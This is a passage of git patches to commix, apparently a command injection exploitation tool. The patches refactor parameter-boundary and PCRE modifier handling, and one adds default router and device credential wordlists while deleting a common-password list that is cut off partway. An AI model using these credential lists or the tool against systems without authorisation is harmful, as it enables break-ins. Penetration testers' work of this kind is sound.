you want to prompt for a pseudo-terminal shell? [Y/n] > " - if settings.CRAWLING: - settings.CRAWLED_URLS_INJECTED.append(_urllib.parse.urlparse(url).netloc) - if not settings.STDIN_PARSING: - gotshell = common.read_input(message, default="Y", check_batch=True) - else: - gotshell = common.read_input(message, default="n", check_batch=True) + gotshell = checks.enable_shell(url) if gotshell in settings.CHOICE_YES: settings.print_data_to_stdout(settings.OS_SHELL_TITLE) if settings.READLINE_ERROR: diff --git a/src/utils/settings.py b/src/utils/settings.py index ace6883db4..5948f76014 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -25,6 +25,28 @@ from src.core.compat import xrange from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.six.moves import reload_module as _reload_module + +# argv checks +def sys_argv_checks(): + tamper_index = None + for i in xrange(len(sys.argv)): + # Disable coloring + if sys.argv[i] == "--disable-coloring": + from src.utils import colors + colors.ENABLE_COLORING = False + """ + Dirty hack from sqlmap [1], regarding merging of tamper script arguments (e.g. --tamper A --tamper B -> --tamper=A,B) + [1] https://github.com/sqlmapproject/sqlmap/commit/f4a0820dcb5fded8bc4d0363c91276eb9a3445ae + """ + if sys.argv[i].startswith("--tamper"): + if tamper_index is None: + tamper_index = i if '=' in sys.argv[i] else (i + 1 if i + 1 < len(sys.argv) and not sys.argv[i + 1].startswith('-') else None) + else: + sys.argv[tamper_index] = "%s,%s" % (sys.argv[tamper_index], sys.argv[i].split('=')[1] if '=' in sys.argv[i] else (sys.argv[i + 1] if i + 1 < len(sys.argv) and not sys.argv[i + 1].startswith('-') else "")) + sys.argv[i] = "" + +# argv checks +sys_argv_checks() from src.thirdparty.colorama import Fore, Back, Style, init class HTTPMETHOD(object): @@ -200,26 +222,10 @@ def print_data_to_stdout(data): sys.stdout.write(data) sys.stdout.flush() -# argv checks -def sys_argv_checks(): - tamper_index = None - for i in xrange(len(sys.argv)): - # Disable coloring - if sys.argv[i] == "--disable-coloring": - from src.utils import colors - colors.ENABLE_COLORING = False - """ - Dirty hack from sqlmap [1], regarding merging of tamper script arguments (e.g. --tamper A --tamper B -> --tamper=A,B) - [1] https://github.com/sqlmapproject/sqlmap/commit/f4a0820dcb5fded8bc4d0363c91276eb9a3445ae - """ - if sys.argv[i].startswith("--tamper"): - if tamper_index is None: - tamper_index = i if '=' in sys.argv[i] else (i + 1 if i + 1 < len(sys.argv) and not sys.argv[i + 1].startswith('-') else None) - else: - sys.argv[tamper_index] = "%s,%s" % (sys.argv[tamper_index], sys.argv[i].split('=')[1] if '=' in sys.argv[i] else (sys.argv[i + 1] if i + 1 < len(sys.argv) and not sys.argv[i + 1].startswith('-') else "")) - sys.argv[i] = "" -# argv input errors +""" +argv input errors +""" def sys_argv_errors(): _reload_module(sys) try: @@ -256,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "80" +REVISION = "81" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From e086401bdc1adf53da92b04254795e4306710388 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 3 Jul 2024 07:17:56 +0300 Subject: [PATCH 478/560] Minor update regarding testing value(s) inside boundaries --- src/core/injections/controller/checks.py | 112 ++++++++++------------- src/core/main.py | 12 ++- src/core/requests/parameters.py | 18 ---- src/utils/settings.py | 2 +- 4 files changed, 58 insertions(+), 86 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 82393f267a..c3fae15f5e 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -229,6 +229,7 @@ def skip_testing(filename, url): _ = " testing command injection techniques" else: settings.SKIP_COMMAND_INJECTIONS = False + settings.SKIP_CODE_INJECTIONS = True _ = " further testing" while True: message = "Do you want to skip" + _ + " in " + settings.CHECKING_PARAMETER + "? [Y/n] > " @@ -454,7 +455,7 @@ def load_cmd_history(): """ Get value inside boundaries. """ -def get_value_inside_boundaries(value): +def get_value_value_inside_boundaries(value): try: value = re.search(settings.VALUE_BOUNDARIES, value).group(1) except Exception as e: @@ -462,74 +463,53 @@ def get_value_inside_boundaries(value): return value """ -Check if the value has boundaries. +Check value inside boundaries. """ -def value_boundaries(parameter, value, http_request_method): - def check_boundaries_value(parameter, value, http_request_method): - _ = get_value_inside_boundaries(value) - - if settings.INJECT_TAG in _: - settings.INJECT_INSIDE_BOUNDARIES = False - return "" - if settings.INJECT_TAG in value: - settings.INJECT_INSIDE_BOUNDARIES = True - return _ - while True: - message = "Do you want to inject the provided value for " + http_request_method + " parameter '" + parameter.split("=")[0] + "' inside boundaries?" - message += " ('" + str(value.replace(_ ,_ + settings.CUSTOM_INJECTION_MARKER_CHAR)) + "') [Y/n] > " - procced_option = common.read_input(message, default="Y", check_batch=True) - if procced_option in settings.CHOICE_YES: - settings.INJECT_INSIDE_BOUNDARIES = True - return _ - elif procced_option in settings.CHOICE_NO: - settings.INJECT_INSIDE_BOUNDARIES = False - return "" - elif procced_option in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(procced_option) - pass - - if menu.options.skip_parameter != None: - for skip_parameter in re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.skip_parameter): - if parameter.split("=")[0] != skip_parameter: - return check_boundaries_value(skip_parameter, value, http_request_method) - else: - return value +def value_inside_boundaries(parameter, http_request_method): + try: + if isinstance(parameter, str): + value_inside_boundaries = re.search(r"=" + settings.VALUE_BOUNDARIES, parameter).group() + if value_inside_boundaries: + pcre_mod_value = value_inside_boundaries + settings.PCRE_MODIFIER[1:2] + if pcre_mod_value not in parameter: + while True: + message = "It appears that provided value '" + value_inside_boundaries + "' has boundaries." + message += " Do you want to add the PCRE '" + settings.PCRE_MODIFIER + "'" + message += " modifier outside boundaries? ('" + pcre_mod_value + "') [Y/n] > " + modifier_check = common.read_input(message, default="Y", check_batch=True) + if modifier_check in settings.CHOICE_YES: + parameter = parameter.replace(value_inside_boundaries, pcre_mod_value) + break + elif modifier_check in settings.CHOICE_NO: + break + elif modifier_check in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(modifier_check) + pass - elif menu.options.test_parameter != None : - for test_parameter in re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.test_parameter): - if parameter.split("=")[0] == test_parameter: - return check_boundaries_value(test_parameter, value, http_request_method) - else: - return value - else: - return check_boundaries_value(parameter, value, http_request_method) + value = re.search(settings.VALUE_BOUNDARIES, value_inside_boundaries).group(1) + if value: + value = value_inside_boundaries.replace(value, value + settings.CUSTOM_INJECTION_MARKER_CHAR) + while True: + message = "Do you want to inject the provided value '" + value + "' inside boundaries?" + message += " ('" + value + "') [Y/n] > " + procced_option = common.read_input(message, default="Y", check_batch=True) + if procced_option in settings.CHOICE_YES: + settings.INJECT_INSIDE_BOUNDARIES = True + parameter = parameter.replace(value_inside_boundaries, value) + break + elif procced_option in settings.CHOICE_NO: + settings.INJECT_INSIDE_BOUNDARIES = False + break + elif procced_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(procced_option) + pass + except Exception as e: + pass -""" -Add the PCRE '/e' modifier outside boundaries. -""" -def PCRE_e_modifier(parameter, http_request_method): - original_parameter = parameter - if not settings.PCRE_MODIFIER in parameter: - try: - if get_value_inside_boundaries(parameter.split("=")[1]) != parameter.split("=")[1]: - while True: - message = "It appears that provided value for " + http_request_method + " parameter '" + parameter.split("=")[0] + "' has boundaries. " - message += "Do you want to add the PCRE '" + settings.PCRE_MODIFIER + "' modifier outside boundaries? ('" - message += parameter.split("=")[1].replace(settings.INJECT_TAG, settings.CUSTOM_INJECTION_MARKER_CHAR) + settings.PCRE_MODIFIER[1:2] + "') [Y/n] > " - modifier_check = common.read_input(message, default="Y", check_batch=True) - if modifier_check in settings.CHOICE_YES: - return original_parameter + settings.PCRE_MODIFIER[1:2] - elif modifier_check in settings.CHOICE_NO: - return original_parameter - elif modifier_check in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(modifier_check) - pass - except Exception as e: - pass return parameter """ diff --git a/src/core/main.py b/src/core/main.py index 389de5c0fd..c12e8f2b9b 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -306,6 +306,14 @@ def check_for_injected_url(url): _ = False return _ +""" +Check if value is inside boundaries +""" +def check_value_inside_boundaries(url, http_request_method): + url = checks.value_inside_boundaries(url, http_request_method) + settings.USER_DEFINED_POST_DATA = checks.value_inside_boundaries(settings.USER_DEFINED_POST_DATA, http_request_method) + return url + """ The main function. """ @@ -329,6 +337,8 @@ def main(filename, url, http_request_method): if menu.options.url_reload and menu.options.data: settings.URL_RELOAD = True + url = check_value_inside_boundaries(url, http_request_method) + # if settings.CUSTOM_INJECTION_MARKER and settings.MULTI_TARGETS or settings.STDIN_PARSING: # settings.CUSTOM_INJECTION_MARKER = False @@ -883,8 +893,8 @@ def main(filename, url, http_request_method): # Check if defined character used for splitting parameter values. if menu.options.pdel and menu.options.pdel in url: settings.PARAMETER_DELIMITER = menu.options.pdel - http_request_method = checks.check_http_method(url) + if not settings.STDIN_PARSING and not menu.options.bulkfile and not settings.CRAWLING: if os_checks_num == 0: settings.INIT_TEST = True diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 903cd8f86e..50a56b6b20 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -97,9 +97,6 @@ def multi_params_get_value(parameter): if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)): checks.inappropriate_format(multi_parameters) - for param in range(len(multi_parameters)): - multi_parameters[param] = checks.PCRE_e_modifier(multi_parameters[param], http_request_method) - # Check for empty values (in provided parameters). if checks.is_empty(multi_parameters, http_request_method): return urls_list @@ -110,8 +107,6 @@ def multi_params_get_value(parameter): value = multi_params_get_value(parameters) # Check if single parameter is supplied. if len(multi_parameters) == 1: - if re.search(settings.VALUE_BOUNDARIES, value): - value = checks.value_boundaries(parameters, value, http_request_method) # Check if defined the INJECT_TAG if settings.INJECT_TAG not in parameters: # Ignoring the anti-CSRF parameter(s). @@ -149,8 +144,6 @@ def multi_params_get_value(parameter): old = value # Grab the value of parameter. value = multi_params_get_value(all_params[param]) - if re.search(settings.VALUE_BOUNDARIES, value): - value = checks.value_boundaries(all_params[param], value, http_request_method) # Ignoring the anti-CSRF parameter(s). if checks.ignore_anticsrf_parameter(all_params[param]): all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") @@ -208,8 +201,6 @@ def vuln_GET_param(url): except Exception: pass settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG, "") - if re.search(settings.VALUE_BOUNDARIES, settings.TESTABLE_VALUE) and settings.INJECT_INSIDE_BOUNDARIES: - settings.TESTABLE_VALUE = checks.get_value_inside_boundaries(settings.TESTABLE_VALUE) if settings.BASE64_PADDING in pairs[param]: settings.TESTABLE_VALUE = settings.TESTABLE_VALUE + settings.BASE64_PADDING break @@ -335,9 +326,6 @@ def json_format(parameter): not settings.IS_XML: return "" - for param in range(len(multi_parameters)): - multi_parameters[param] = checks.PCRE_e_modifier(multi_parameters[param], http_request_method) - _ = [] _.append(parameter) parameter = ''.join(checks.check_similarities(_)) @@ -362,8 +350,6 @@ def json_format(parameter): # Ignoring the anti-CSRF parameter(s). if checks.ignore_anticsrf_parameter(parameter): return parameter - if re.search(settings.VALUE_BOUNDARIES, value): - value = checks.value_boundaries(parameter, value, http_request_method) # Replace the value of parameter with INJECT_HERE tag if len(value) == 0: if settings.IS_JSON: @@ -413,8 +399,6 @@ def json_format(parameter): old = value # Grab the value of parameter. value = multi_params_get_value(param, all_params) - if re.search(settings.VALUE_BOUNDARIES, value): - value = checks.value_boundaries(all_params[param], value, http_request_method) # Ignoring the anti-CSRF parameter(s). if checks.ignore_anticsrf_parameter(all_params[param]): all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") @@ -517,8 +501,6 @@ def vuln_POST_param(parameter, url): except Exception: pass settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG, "") - if re.search(settings.VALUE_BOUNDARIES, settings.TESTABLE_VALUE) and settings.INJECT_INSIDE_BOUNDARIES: - settings.TESTABLE_VALUE = checks.get_value_inside_boundaries(settings.TESTABLE_VALUE) if settings.BASE64_PADDING in pairs[param]: settings.TESTABLE_VALUE = settings.TESTABLE_VALUE + settings.BASE64_PADDING break diff --git a/src/utils/settings.py b/src/utils/settings.py index 5948f76014..37a6ed3124 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "81" +REVISION = "82" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 186000c1c483fee4af12e55959bcb827fb60dbb1 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 4 Jul 2024 08:33:39 +0300 Subject: [PATCH 479/560] Fixes https://github.com/commixproject/commix/issues/928 --- src/core/injections/controller/checks.py | 4 ++-- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index c3fae15f5e..82d22df7b1 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -73,7 +73,7 @@ def check_waf(url, http_request_method): settings.print_data_to_stdout(settings.print_info_msg(info_msg)) if settings.VERBOSITY_LEVEL >= 1: settings.print_data_to_stdout(settings.print_payload(payload)) - payload = "".join(random.choices(string.ascii_uppercase, k=4)) + "=" + payload + payload = "".join(random.sample(string.ascii_uppercase, k=4)) + "=" + payload if not "?" in url: payload = "?" + payload else: @@ -1997,7 +1997,7 @@ def inappropriate_format(multi_parameters): def check_similarities(all_params): if settings.IS_JSON: try: - _ = "".join(random.choices(string.ascii_uppercase, k=6)) + _ = "".join(random.sample(string.ascii_uppercase, k=6)) all_params = ','.join(all_params) json_data = json.loads(all_params, object_pairs_hook=OrderedDict) all_params = flatten(json_data) diff --git a/src/utils/settings.py b/src/utils/settings.py index 37a6ed3124..d02b314ecd 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "82" +REVISION = "83" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 4c0733e8b89e57eb5f5b34ea545d92cdb8e8e411 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 5 Jul 2024 08:58:19 +0300 Subject: [PATCH 480/560] Minor update --- src/txt/default_passwords.txt | 168 ++ src/txt/default_usernames.txt | 14 + src/txt/passwords_john.txt | 3107 --------------------------------- src/txt/usernames.txt | 125 -- src/utils/settings.py | 10 +- 5 files changed, 187 insertions(+), 3237 deletions(-) create mode 100644 src/txt/default_passwords.txt create mode 100644 src/txt/default_usernames.txt delete mode 100644 src/txt/passwords_john.txt delete mode 100644 src/txt/usernames.txt diff --git a/src/txt/default_passwords.txt b/src/txt/default_passwords.txt new file mode 100644 index 0000000000..d9cb41b02b --- /dev/null +++ b/src/txt/default_passwords.txt @@ -0,0 +1,168 @@ +0000 +0123456789 +0P3N +1 +123 +1234 +12345 +123456 +12345678 +123456789 +1234567890 +3bb +3play +3UJUh2VemEfUtesEchEC2d2e +4135279 +@HuaweiHgw +abcd12345 +access key on label +addon +admim +admin +Admin +admin01 +admin1 +Admin123 +admin_Ultimate +adminHW +Administrator +administrator +adminpldt +admintelecom +advanced +airlive +aisadmin +atlantis +attadmin +Aztechadmin +barricade +bayandsl +belong +bEn2o#US9s +bezeqint +broadband +BSNL1234 +cableroot +cciadmin +changeme +cht +chtnvdsl +cisco +Cl@r0 +comcast +conexant +conf +Conf +ctAdmin +cusadmin +cytauser +default +digi +digicel +draadloos +DSL +dsmart +Enduser +enduser +entel +epicrouter +Epuser +Expert +fastweb +fritzfonbox +geekadsl +Gponinstalador@123 +gttuser +guest +Guest +gvt12345 +hamlet +highspeed +home +homebro +HPN +hsparouter +HuaweiUser +ipbbx +kpn +KPN +kpn-adsl +lightweight +linksys +liveboxfibra +loqal +LTEcpe +MaxisBB +menara +meo +motorola +Motorola +mtn +mysweex +NEMONTadmin +netis +NOLOGIN +on +OP3N +oper1234 +operator +optus +ovislink +password +password +password1 +pentagram +pfsense +primus +public +pz938qd6 +pz938qdx +root +router +scmcadmin +SerialNumber +sitecom +sky +smartbro +smc +smcadmin +SpeedStream +superonline +superu +superuser +support +surecom +sweex +tattoo@home +Techni1789# +telecomadmin +telekom +telekomst +TELMEX +telstra +Telstra +telus +test +tmadmin +tot +trendchip +trustpower +ttnet +ubnt +unknown +user +User +useradmin +userEp +utstar +VF-IRhg556 +vivo12345 +vodafone +voo +webadmin +Xavi +zain +zhone +ziggo +zoomadsl +ZXDSL \ No newline at end of file diff --git a/src/txt/default_usernames.txt b/src/txt/default_usernames.txt new file mode 100644 index 0000000000..7020ac13de --- /dev/null +++ b/src/txt/default_usernames.txt @@ -0,0 +1,14 @@ +!root +111111 +1234 +123456 +admin +admin1 +administrator +anonymous +cisco +root +r00t +test +webadmin +user \ No newline at end of file diff --git a/src/txt/passwords_john.txt b/src/txt/passwords_john.txt deleted file mode 100644 index b2f7356939..0000000000 --- a/src/txt/passwords_john.txt +++ /dev/null @@ -1,3107 +0,0 @@ -12345 -abc123 -password -computer -123456 -tigger -1234 -a1b2c3 -qwerty -123 -xxx -money -test -carmen -mickey -secret -summer -internet -service - -canada -hello -ranger -shadow -baseball -donald -harley -hockey -letmein -maggie -mike -mustang -snoopy -buster -dragon -jordan -michael -michelle -mindy -patrick -123abc -andrew -bear -calvin -changeme -diamond -fuckme -fuckyou -matthew -miller -ou812 -tiger -trustno1 -12345678 -alex -apple -avalon -brandy -chelsea -coffee -dave -falcon -freedom -gandalf -golf -green -helpme -linda -magic -merlin -molson -newyork -soccer -thomas -wizard -Monday -asdfgh -bandit -batman -boris -butthead -dorothy -eeyore -fishing -football -george -happy -iloveyou -jennifer -jonathan -love -marina -master -missy -monday -monkey -natasha -ncc1701 -newpass -pamela -pepper -piglet -poohbear -pookie -rabbit -rachel -rocket -rose -smile -sparky -spring -steven -success -sunshine -thx1138 -victoria -whatever -zapata -1 -8675309 -Internet -amanda -andy -angel -august -barney -biteme -boomer -brian -casey -coke -cowboy -delta -doctor -fisher -foobar -island -john -joshua -karen -marley -orange -please -rascal -richard -sarah -scooter -shalom -silver -skippy -stanley -taylor -welcome -zephyr -111111 -1928 -aaaaaa -abc -access -albert -alexander -andrea -anna -anthony -asdfjkl; -ashley -basf -basketball -beavis -black -bob -booboo -bradley -brandon -buddy -caitlin -camaro -charlie -chicken -chris -cindy -cricket -dakota -dallas -daniel -david -debbie -dolphin -elephant -emily -fish -fred -friend -fucker -ginger -goodluck -hammer -heather -help -iceman -jason -jessica -jesus -joseph -jupiter -justin -kevin -knight -lacrosse -lakers -lizard -madison -mary -mother -muffin -murphy -ncc1701d -newuser -nirvana -none -paris -pat -pentium -phoenix -picture -rainbow -sandy -saturn -scott -shannon -shithead -skeeter -sophie -special -stephanie -stephen -steve -sweetie -teacher -tennis -test123 -tommy -topgun -tristan -wally -william -wilson -1q2w3e -654321 -666666 -777 -a12345 -a1b2c3d4 -alpha -amber -angela -angie -archie -asdf -blazer -bond007 -booger -charles -christin -claire -control -danny -david1 -dennis -digital -disney -dog -duck -duke -edward -elvis -felix -flipper -floyd -franklin -frodo -guest -honda -horses -hunter -indigo -info -james -jasper -jeremy -joe -julian -kelsey -killer -kingfish -lauren -marie -maryjane -matrix -maverick -mayday -mercury -micro -mitchell -morgan -mountain -niners -nothing -oliver -peace -peanut -pearljam -phantom -popcorn -princess -psycho -pumpkin -purple -randy -rebecca -reddog -robert -rocky -roses -salmon -sam -samson -sharon -sierra -smokey -startrek -steelers -stimpy -sunflower -superman -support -sydney -techno -telecom -test1 -walter -willie -willow -winner -ziggy -zxcvbnm -7777 -OU812 -a -absolut -alaska -alexis -alice -animal -apples -babylon5 -backup -barbara -benjamin -bill -billy -bird33 -blue -bluebird -bobby -bonnie -bubba -camera -chocolate -clark -claudia -cocacola -compton -connect -cookie -cruise -deliver -douglas -dreamer -dreams -duckie -eagles -eddie -einstein -enter -explorer -faith -family -ferrari -fire -flamingo -flip -flower -foxtrot -francis -freddy -friday -froggy -galileo -giants -gizmo -global -goofy -gopher -hansolo -happy1 -hendrix -henry -herman -homer -honey -house -houston -iguana -indiana -insane -inside -irish -ironman -jake -jane -jasmin -jeanne -jerry -jim -joey -justice -katherine -kermit -kitty -koala -larry -leslie -logan -lucky -mark -martin -matt -minnie -misty -mitch -mom -mouse -nancy -nascar -nelson -netware -pantera -parker -passwd -penguin -peter -phil -phish -piano -pizza -porsche911 -prince -punkin -pyramid -rain -raymond -red -robin -roger -rosebud -route66 -royal -running -sadie -sasha -security -sergei -sheena -sheila -skiing -snapple -snowball -sparrow -spencer -spike -star -stealth -student -sun -sunny -sylvia -tamara -taurus -tech -teresa -theresa -thunderbird -tigers -tony -toyota -training -travel -truck -tuesday -victory -video -viper1 -volvo -wesley -whisky -winnie -winter -wolves -xyz123 -zorro -!@#$% -007 -123123 -1234567 -1969 -5683 -696969 -888888 -Anthony -Bond007 -Friday -Hendrix -Joshua -Matthew -October -Taurus -Tigger -aaa -aaron -abby -abcdef -adidas -adrian -alexandr -alfred -arthur -athena -austin -awesome -badger -bamboo -beagle -bears -beatles -beautiful -beaver -benny -bigmac -bingo -bitch -blonde -boogie -boston -brenda -bright -bubba1 -bubbles -buffy -button -buttons -cactus -candy -captain -carlos -caroline -carrie -casper -catalog -catch22 -challenge -chance -charity -charlotte -cheese -cheryl -chloe -chris1 -clancy -clipper -coltrane -compaq -conrad -cooper -cooter -copper -cosmos -cougar -cracker -crawford -crystal -curtis -cyclone -cyrano -dan -dance -dawn -dean -deutsch -diablo -dilbert -dollars -dookie -doom -dumbass -dundee -e-mail -elizabeth -eric -europe -export -farmer -firebird -fletcher -fluffy -ford -fountain -fox -france -freak1 -friends -frog -fuckoff -gabriel -gabriell -galaxy -gambit -garden -garfield -garlic -garnet -genesis -genius -godzilla -goforit -golfer -goober -grace -grateful -greenday -groovy -grover -guitar -hacker -harry -hazel -hector -herbert -hoops -horizon -hornet -howard -icecream -imagine -impala -informix -jack -janice -jasmine -jason1 -jeanette -jeffrey -jenifer -jenni -jesus1 -jewels -joker -julie -julie1 -junior -justin1 -kathleen -keith -kelly -kelly1 -kennedy -kevin1 -knicks -lady -larry1 -ledzep -lee -leonard -lestat -library -lincoln -lionking -london -louise -lucky1 -lucy -maddog -mailman -majordomo -mantra -margaret -mariposa -market -marlboro -martin1 -marty -master1 -mazda1 -mensuck -mercedes -metal -metallic -midori -mikey -millie -mirage -mmm -molly -monet -money1 -monica -monopoly -mookie -moose -moroni -music -naomi -nathan -ncc1701e -nesbitt -news -nguyen -nicholas -nicole -nimrod -october -olive -olivia -one -online -open -oscar -oxford -pacific -painter -peaches -penelope -pepsi -pete -petunia -philip -phoenix1 -photo -pickle -player -poiuyt -porsche -porter -ppp -puppy -python -quality -quest -raquel -raven -remember -republic -research -robbie -robert1 -roman -rugby -runner -russell -ryan -sailing -sailor -samantha -savage -sbdc -scarlett -school -sean -seven -shadow1 -sheba -shelby -shit -shoes -simba -simple -skipper -smiley -snake -snickers -sniper -snoopdog -snowman -sonic -spitfire -sprite -spunky -starwars -station -stella -stingray -storm -stormy -stupid -sumuinen -sunny1 -sunrise -supra -surfer -susan -tammy -tango -tanya -tara -teddy1 -temp -testing -theboss -theking -thumper -tina -tintin -tomcat -trebor -trek -trevor -tweety -unicorn -valentine -valerie -vanilla -veronica -victor -vincent -viper -warrior -warriors -weasel -wheels -wilbur -winston -wisdom -wombat -xanadu -xavier -xxxx -yellow -zaphod -zeppelin -zeus -!@#$%^ -!@#$%^&* -* -0007 -1022 -10sne1 -1111 -1212 -1911 -1948 -1973 -1978 -1996 -1p2o3i -2000 -2222 -3bears -5252 -Andrew -Broadway -Champs -Family -Fisher -Friends -Jeanne -Killer -Knight -Master -Michael -Michelle -Pentium -Pepper -Raistlin -Sierra -Snoopy -Tennis -Tuesday -abacab -abcd -abcd1234 -abcdefg -abigail -account -ace -acropolis -adam -adi -alex1 -alice1 -allison -alpine -amy -anders -andre1 -andrea1 -angel1 -anita -annette -antares -apache -apollo -aragorn -arizona -arnold -arsenal -asdfasdf -asdfg -asdfghjk -avenger -avenir -baby -babydoll -bach -bailey -banana -barry -basil -basket -bass -batman1 -beaner -beast -beatrice -beer -bella -ben -bertha -bigben -bigdog -biggles -bigman -binky -biology -bishop -bliss -blondie -blowfish -bluefish -bmw -bobcat -bosco -boss -braves -brazil -bridges -bruce -bruno -brutus -buck -buffalo -bugsy -bull -bulldog -bullet -bullshit -bunny -business -butch -butler -butter -california -cannondale -canon -carebear -carol -carol1 -carole -cassie -castle -catalina -catherine -catnip -cccccc -celine -center -champion -chanel -chaos -chelsea1 -chester1 -chicago -chico -chip -christian -christy -church -cinder -civil -colleen -colorado -columbia -commander -connie -content -cook -cookies -cooking -cordelia -corona -cowboys -coyote -crack1 -craig -creative -crow -cuddles -cuervo -cutie -cyber -daddy -daisie -daisy -daniel1 -danielle -dark1 -database -davids -deadhead -death -denali -denis -depeche -derek -design -destiny -diana -diane -dickens -dickhead -digger -dodger -don -donna -dougie -draft -dragonfly -dylan -eagle -eclipse -electric -emerald -emmitt -entropy -etoile -excalibur -express -farout -farside -feedback -fender -fidel -fiona -fireman -firenze -fish1 -flash -fletch -florida -flowers -fool -foster -fozzie -francesco -francine -francois -frank -french -fuckface -fun -gargoyle -gasman -gemini -general -gerald -germany -gilbert -goaway -gold -golden -goldfish -goose -gordon -graham -grant -graphic -gregory -gretchen -gunner -hal9000 -hannah -harold -harrison -harvey -hawkeye -heaven -heidi -helen -helena -hell -herzog -hithere -hobbit -huey -ibanez -idontknow -image -integra -intern -intrepid -ireland -irene -isaac -isabel -jackie -jackson -jaguar -jamaica -japan -jeff -jenny1 -jessie -jethrotull -jkl123 -joel -johan -johanna1 -johnny -joker1 -jordan23 -judith -julia -jumanji -jussi -kangaroo -karen1 -kathy -keepout -keith1 -kenneth -kidder -kim -kimberly -king -kingdom -kirk -kitkat -kramer -kris -kristen -lambda -laura -laurie -law -lawrence -lawyer -legend -leon -liberty -light -lindsay -lindsey -lisa -liverpool -logical -lola -lonely -lorrie -louis -lovely -loveme -lucas -m -madonna -mail -major -malcolm -malibu -marathon -marcel -maria1 -mariah -mariah1 -marilyn -mariner -mario -mark1 -marvin -maurice -max -maxine -maxwell -me -media -meggie -melanie -melissa -melody -merlot -mexico -michael1 -michele -midnight -midway -mike1 -miki -mine -miracle -misha -mishka -mmouse -molly1 -monique -montreal -moocow -moon -moore -mopar -morris -mort -mortimer -mouse1 -mulder -nautica -nellie -nermal -new -newton -nicarao -nick -nina -nirvana1 -nissan -norman -notebook -ocean -olivier -ollie -olsen -opera -opus -oranges -oregon -orion -overkill -pacers -packer -panda -pandora -panther -passion -patricia -pearl -peewee -pencil -penny -people -percy -person -peter1 -petey -picard -picasso -pierre -pinkfloyd -pit -plus -polar -polaris -police -polo -pookie1 -poppy -power -predator -preston -primus -prometheus -public -q1w2e3 -queen -queenie -quentin -radio -ralph -random -rangers -raptor -rastafarian -reality -redrum -remote -reptile -reynolds -rhonda -ricardo -ricardo1 -ricky -river -roadrunner -rob -robinhood -robotech -rocknroll -rocky1 -rodeo -rolex -ronald -rouge -roxy -roy -ruby -ruthie -sabrina -sakura -salasana -sally -sampson -samuel -sandra -santa -sapphire -scarecrow -scarlet -scorpio -scott1 -scottie -scout -scruffy -scuba1 -seattle -serena -sergey -shanti -shark -shogun -simon -singer -skibum -skull -skunk -skywalker -slacker -smashing -smiles -snowflake -snowski -snuffy -soccer1 -soleil -sonny -sound -spanky -speedy -spider -spooky -stacey -star69 -start -starter -steven1 -sting1 -stinky -strawberry -stuart -sugar -sunbird -sundance -superfly -suzanne -suzuki -swimmer -swimming -system -taffy -tarzan -tbird -teddy -teddybear -teflon -temporal -terminal -terry -the -theatre -thejudge -thunder -thursday -time -tinker -toby -today -tokyo -tootsie -tornado -tracy -tree -tricia -trident -trojan -trout -truman -trumpet -tucker -turtle -tyler -utopia -vader -val -valhalla -visa -voyager -warcraft -warlock -warren -water -wayne -wendy -williams -willy -win95 -windsurf -winona -wolf -wolf1 -woody -woofwoof -wrangler -wright -www -xcountry -xfiles -xxxxxx -y -yankees -yoda -yukon -yvonne -zebra -zenith -zigzag -zombie -zxc123 -zxcvb -zzz -000000 -007007 -11111 -11111111 -1213 -1214 -1225 -123321 -1313 -1316 -1332 -1412 -1430 -171717 -1818 -181818 -1950 -1952 -1953 -1955 -1956 -1960 -1964 -1975 -1977 -1991 -1a2b3c -1chris -1kitty -1qw23e -2001 -2020 -2112 -22 -2200 -2252 -2kids -3010 -3112 -3141 -333 -3533 -4055 -4444 -4788 -4854 -4runner -5050 -5121 -54321 -55555 -57chevy -6262 -6301 -6969 -7777777 -789456 -7dwarfs -88888888 -Abcdefg -Alexis -Alpha -Animals -Ariel -BOSS -Bailey -Bastard -Beavis -Bismillah -Bonzo -Booboo -Boston -Canucks -Cardinal -Carol -Celtics -ChangeMe -Charlie -Chris -Computer -Cougar -Creative -Curtis -Daniel -Darkman -Denise -Dragon -Eagles -Elizabeth -Esther -Figaro -Fishing -Fortune -Freddy -Front242 -Gandalf -Geronimo -Gingers -Golden -Goober -Gretel -HARLEY -Hacker -Hammer -Harley -Heather -Henry 